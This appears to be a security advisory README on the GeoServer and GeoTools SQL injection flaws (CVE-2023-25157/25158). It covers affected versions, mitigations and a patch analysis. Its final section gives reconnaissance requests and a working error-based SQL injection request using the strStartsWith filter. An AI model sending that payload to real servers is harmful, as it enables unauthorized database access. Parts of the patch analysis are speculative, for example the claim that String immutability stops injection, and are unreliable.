GeoServer & GeoTools SQL Injection (CVE-2023-25157 & CVE-2023-25158)
This repository contains a detailed description and replication steps of the SQL Injection vulnerabilities found in the GeoServer platform and GeoTools Library. The vulnerability has been assigned the identifier CVE-2023-25157
for GeoServer and CVE-2023-25158
for GeoTools.
GeoServer
is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.
GeoServer adheres to the Open Geospatial Consortium (OGC) standards for data sharing, including the Web Feature Service (WFS), Web Map Service (WMS), and the Web Coverage Service (WCS). This adherence to standards means that data from GeoServer can be used in a wide variety of applications, from custom-built GIS software to off-the-shelf solutions.
GeoServer is primarily built on the Spring Framework however, also uses a number of other libraries and frameworks, including:
GeoTools:
An open-source Java library that provides tools for geospatial data. GeoServer uses GeoTools for many of its core functionalities, such as data reading, writing, and transformation.- Hibernate Validator: This is used for bean validations.
- Java Topology Suite (JTS): An open-source Java software library that provides an object model for planar geometry together with a set of fundamental geometric functions. GeoServer uses it for geometric operations such as calculating bounding boxes.
- Apache Wicket: This is used for the web admin interface. It's a component-based web application framework similar to JavaServer Faces and Tapestry.
- Log4J: This is used for logging.
Vulnerabilities
The vulnerabilities in question are deeply embedded within the filter and function expressions defined by the Open Geospatial Consortium (OGC) standards. These expressions form the backbone of geospatial data querying and manipulation, playing a pivotal role in the functionality of systems like GeoServer and GeoTools.
When these vulnerabilities are exploited, they can lead to serious security breaches. Unauthorized disclosure of information is a primary concern, as attackers can potentially access sensitive data stored in the database. Unauthorized modification is another potential outcome, with attackers able to manipulate data to their advantage. Furthermore, these vulnerabilities can also facilitate disruption of service, with a successful exploit possibly leading to service unavailability.
The following provides an in-depth analysis of each identified vulnerability. Each vulnerability is explored in detail, discussing its specific characteristics, the conditions that lead to its manifestation, and the potential effects of its exploitation. Here's a detailed breakdown of the vulnerabilities found for GeoServer:
PropertyIsLike
filter: this vulnerability is present when the PropertyIsLike filter is used with a String field in conjunction with any relational database-based Store, a PostGIS DataStore with encode functions enabled, or any image mosaic with an index stored in a relational database.strEndsWith
function: this vulnerability arises when the strEndsWith function is used with a PostGIS DataStore with encode functions enabled.strStartsWith
function: this vulnerability is found when the strStartsWith function is used with a PostGIS DataStore with encode functions enabled.FeatureId
filter: this vulnerability is present when the FeatureId filter is used with any database table that has a String primary key column and when prepared statements are disabled.jsonArrayContains
function: tThi vulnerability is found when the jsonArrayContains function is used with a String or JSON field and with a PostGIS or Oracle DataStore (only in GeoServer 2.22.0 and later versions).DWithin
filter: this vulnerability is discovered when the DWithin filter is used with an Oracle DataStore.
And here's a detailed breakdown of the vulnerabilities found for GeoTools:
PropertyIsLike
filter:- requires PostGIS DataStore with encode functions enabled
- or any JDBCDataStore (all relational databases) with String field (no mitigation)
strEndsWith
function:- requires PostGIS DataStore with encode functions enabled
strStartsWith
function:- requires PostGIS DataStore with encode functions enabled
FeatureId
filter:- requires JDBCDataStore (all relational databases) with prepared statements disabled and table with String primary key (Oracle not affected, SQL Server and MySQL have no settings to enabled prepared statements, PostGIS does)
jsonArrayContains
function:- requires PostGIS and Oracle DataStore with String or JSON field
DWithin
filter:- happens only in Oracle DataStore, no mitigation
Affected Versions
- GeoServer: < 2.21.4 >= 2.22.0, < 2.22.2 versions are affected
CVE-2023-25157 GeoServer SQL Injection
vulnerability. - GeoTools: < 28.2, < 27.4, <26.7, <25.7, <24.7 versions are affected
CVE-2023-25158 GeoTools SQL Injection
vulnerability.
Status
- The updated GeoServer versions 2.21.4, 2.22.2, 2.20.7, 2.19.7, and 2.18.7, encompassing the corrections, are now publicly available.
- Versions 28.2, 27.4, 26.7, 25.7, and 24.7 of GeoTools, which include the necessary patches, are now available for use.
Mitigation and Suggested Workarounds
The advised course of action for both the GeoServer SQL Injection (CVE-2023-25157) and the GeoTools SQL Injection (CVE-2023-25158) vulnerabilities is to upgrade to the referenced versions or higher. If this upgrade has been completed, no additional steps are required. However, for those who may find it challenging to upgrade promptly, the Geo team has provided some alternative solutions below.
- Disabling the PostGIS Datastore encode functions setting to mitigate
strEndsWith
,strStartsWith
vulnerabilities (like filters have no mitigation, if there is a string field in the feature type published). - Enabling the PostGIS DataStore preparedStatements setting to mitigate the
FeatureId
vulnerability.
Map<String, Object> params = new HashMap < >(); params.put("dbtype", "postgis"); params.put("host", "localhost"); params.put("port", 5432); params.put("schema", "public"); params.put("database", "database"); params.put("user", "postgres"); params.put("passwd", "postgres"); params.put("preparedStatements", true); // mitigation params.put("encode functions", false); // mitigation DataStore dataStore = DataStoreFinder.getDataStore(params);
- As a good practice to limit the attack surface, it’s important to give the database account used for connection pools the minimum required level of privileges (e.g., read-only unless WFS-T/importer/REST granule harvesting are used, access limited only to the schemas and tables needed for production usage)
- No mitigation is available for
PropertyIsLike
filter, you may choose to disable database DataStores until you are able to upgrade. - No mitigation is available for
DWithin
with Oracle DataStore, you may choose to disable Oracle DataStores until you are able to upgrade.
Patch Analysis: GitHub Issue and Related Commits
Provided links down below to several relevant JIRA issues pertaining to the SQL Injection vulnerabilities found in both GeoServer & GeoTools. These links offer access to crucial data, discussions, and proposed solutions related to these particular vulnerabilities.
- GEOS-10842: JDBCConfig: escape user inputs in SQL queries
- GEOS-10839: JDBCConfig: add JDBC Configuration parameter to disable SQL comments and pretty-printing
- GEOT-7302: Escape user inputs in SQL queries
When look at the geoserver/[email protected]
commit, the following changes can be seen clearly, respectively:
- In
ConfigDatabase.java
, there are additions of a property field and changes in constructors to include this property field. This allows for more customization of the database configuration, potentially allowing for enhanced security measures.NamedParameterJdbcTemplate
is a class provided by Spring Framework which adds support for programming JDBC statements using named parameters, as opposed to programming JDBC statements using classic placeholder ('?') arguments. In the commit, theConfigDatabase
constructor is updated to take aDataSource
and create aNamedParameterJdbcTemplate
from it. Named parameters improve readability and can also prevent SQL injection attacks because they make it clear that the argument is parameterized, not part of the SQL command.src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved * (c) 2001 - 2013 OpenPlans * This code is licensed under the GPL 2.0 license, available at the root * application directory. */ package org.geoserver.jdbcconfig.internal; // import some packages... import org.geoserver.jdbcloader.JDBCLoaderProperties; public class ConfigDatabase implements ApplicationContextAware { public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class); private static final int LOCK_TIMEOUT_SECONDS = 60; private Dialect dialect; private JDBCLoaderProperties properties; // rest of the codebase protected ConfigDatabase() { // } public ConfigDatabase( JDBCLoaderProperties properties, DataSource dataSource, XStreamInfoSerialBinding binding) { this(properties, dataSource, binding, null); } public ConfigDatabase( JDBCLoaderProperties properties, final DataSource dataSource, final XStreamInfoSerialBinding binding, CacheProvider cacheProvider) { this.properties = properties; this.binding = binding; this.template = new NamedParameterJdbcTemplate(dataSource); // cannot use dataSource at this point due to spring context config hack
- The actual SQL injection vulnerability appears to have been fixed through more safe SQL construction and execution, specifically through the use of parameterized queries rather than string concatenation, as seen in the changes to the
template.queryForObject
calls. Instead of usingsql.toString()
, thesql
variable itself, which appears to be a safely constructed SQL statement.src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
// count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
- The StringBuilder object
sql
inQueryBuilder.java
is replaced by a String object. This change can be significant in preventing SQL Injection attacks as StringBuilder objects, which are mutable, can lead to inadvertent or malicious modifications of the SQL query. Replacing it with a String, which is immutable, can help prevent such modifications and thus prevent SQL Injection.src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) { private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) { /* * Start with the oid and id from the object table selecting for type and the filter. * * Then left join on oid for each property to sort by to turn it into an attribute. * * The sort each of the created attribute. */
- SQL Comment Escaping: A new method
escapeComment
was added to theDialect.java
class. This method takes a comment string and escapes potentially dangerous characters in it. Specifically, it appears to escape the opening and closing SQL comment characters ('/*' and '*/'), which are used in some SQL Injection attacks.src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
/** Escapes the contents of the SQL comment to prevent SQL injection. */ public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*"); }
- Appending Comments to SQL: A new method
appendComment
have been added to theDialect.java
class to append objects to the SQL as a comment. If debug mode is not enabled, these methods simply return the original SQL. If debug mode is enabled, they append the string representation of the provided objects to the SQL in the form of a comment. The comments are safely escaped using theescapeComment
method.src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */ public StringBuilder appendComment(StringBuilder sql, Object...objects) { if (!debugMode) { return sql; } sql.append(" /* "); for (Object object: objects) { sql.append(escapeComment(String.valueOf(object))); } return sql.append(" */\n"); } /** Appends the objects to the SQL in an comment if debug mode is enabled. */ public StringBuilder appendComment(Object sql, Object...objects) { return appendComment((StringBuilder) sql, objects); } /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */ public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) { return sql.append(debugMode ? ifEnabled : ifDisabled); }
- Appending Strings to SQL Conditionally: The
appendIfDebug
method was added to the Dialect class. This method appends one of two provided strings to the SQL depending on whether debug mode is enabled. In theDialect.java
class, adebugMode
field is added and asetDebugMode()
method is provided to change its state. This debug mode is then used in thedetect()
method.src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; } public boolean isDebugMode() { return debugMode; } public void setDebugMode(boolean debugMode) { this.debugMode = debugMode; } }
When look at the geotools/[email protected]
commit, the following changes can be seen clearly, respectively:
- The addition of the
escapeBackslash
field inmodules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java
class is a precautionary measure to prevent certain forms of SQL injection where the backslash character is used to escape special characters in SQL syntax. By providing the option to escape backslashes in string literals, the developers are allowing the application to treat backslash characters as plain text rather than as escape characters, which in turn can limit the possibilities for SQL injection These changes work together to prevent SQL injection by ensuring that special characters in string literals (like single and double quotes and backslashes) are properly escaped before they are included in an SQL query. This is a common way to mitigate SQL injection vulnerabilities. WhenescapeBackslash
is set to true, backslashes in string literals will be escaped when theescapeLiteral()
method of theEscapeSql
class is called. This method is used in various places inFilterToSQL.java
class to escape string literals before they are included in an SQL query. For instance, the line 1762
// single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding);
is one place where this method is called, and where the escapeBackslash setting would take effect. In the original code, the application manually replaced single quotes with two single quotes, which is a common way to escape single quotes in SQL. This is important because unescaped single quotes can allow an attacker to terminate a string literal prematurely and append their own SQL commands, leading to an SQL injection vulnerability.
In the modified code, instead of manually replacing single quotes, the application now calls the escapeLiteral()
method from the EscapeSql.java
class. This method is designed to escape not just single quotes, but also backslashes, and potentially double quotes based on its parameters:
public static String escapeLiteral( String literal, boolean escapeBackslash, boolean escapeDoubleQuote) { // ' --> '' String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''"); if (escapeBackslash) { // \ --> \\ escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\"); } if (escapeDoubleQuote) { // " --> \" escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\""); } return escaped;
By doing this, the application is able to ensure that all special characters in the SQL string are properly escaped, which is a more robust and secure approach to preventing SQL injection.
- Changes in
convertToSQL92
method: TheLikeFilterImpl.convertToSQL92
method converts a pattern from the standard SQL 'LIKE' syntax into SQL-92 syntax. In this commit, they added a new parameter to this method. The change from the method inFilterToSQL.java
class in line 547:
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal); String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
seems to add a flag that likely affects the pattern conversion process. Previously, the method call did not include the false
parameter at the end. This false
value is presumably related to whether or not certain characters in the literal
string are escaped during the conversion process. Escaping can help prevent SQL injection by ensuring that special characters in the literal
string are not interpreted as part of the SQL syntax, but rather as simple text values.
- Replacing
out.write()
withwriteLiteral()
: The replacement ofout.write()
withwriteLiteral()
is another major change. Theout.write()
method simply writes the given string to the output stream as it is, without any additional processing or escaping. This could potentially lead to SQL injection if the string contains any unescaped SQL syntax.
- On the other hand,
writeLiteral()
presumably applies some form of escaping or sanitizing to the string before it is written to the output stream, thereby reducing the risk of SQL injection. This change also replaces a direct write operation with a call towriteLiteral()
, which likely includes precautions to prevent SQL injection.
// out.write(attValues.get(j).toString()); writeLiteral(attValues.get(j));
Exploitation Request & Response
In order to exploit these vulnerabilities properly, first, it is required to getting:
- Available feature names
- Available properties for each available features
respectively. Therefore, the following request send to target server to getting available feature names.
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
After getting available feature names, we need to send the following HTTP request to fetch available properties for relevant available features.
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
After the two HTTP requests shown above, we enumerate all available feature names and the property names associated with these feature names. After this stage, we can perform the exploitation process by sending the SQL payload injected malicious HTTP request to the server for any fetched property.
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Conclusion
In conclusion, the discovery of these SQL Injection vulnerabilities in GeoServer and GeoTools, as outlined by CVE-2023-25157 and CVE-2023-25158, serves as a stark reminder of the ever-present threats in the digital landscape. These vulnerabilities, residing within the core OGC filter and function expressions, have the potential to cause significant disruptions and unauthorized data access or modifications.
For more information about remediation of these vulnerabilities, please visit the following resources:
- The commit used to fix the vulnerability: geoserver/[email protected]
- The commit used to fix the vulnerability: geotools/[email protected]
- GeoServer OGC Filter SQL Injection Vulnerability and GeoTools OGC Filter SQL Injection Vulnerability
- GitHub Advisory Database (GitHub Reviewed): GeoServer SQL Injection, GeoServer Advisory Database: SQL Injection on GeoServer and GeoTools Advisory Database: SQL Injection on GeoTools
- NIST Advisory for GeoServer: CVE-2023-25157 and NIST Advisory for GeoTools: CVE-2023-25158
- MITRE Advisory for GeoServer: CVE-2023-25157 and MITRE Advisory for GeoTools: CVE-2023-25158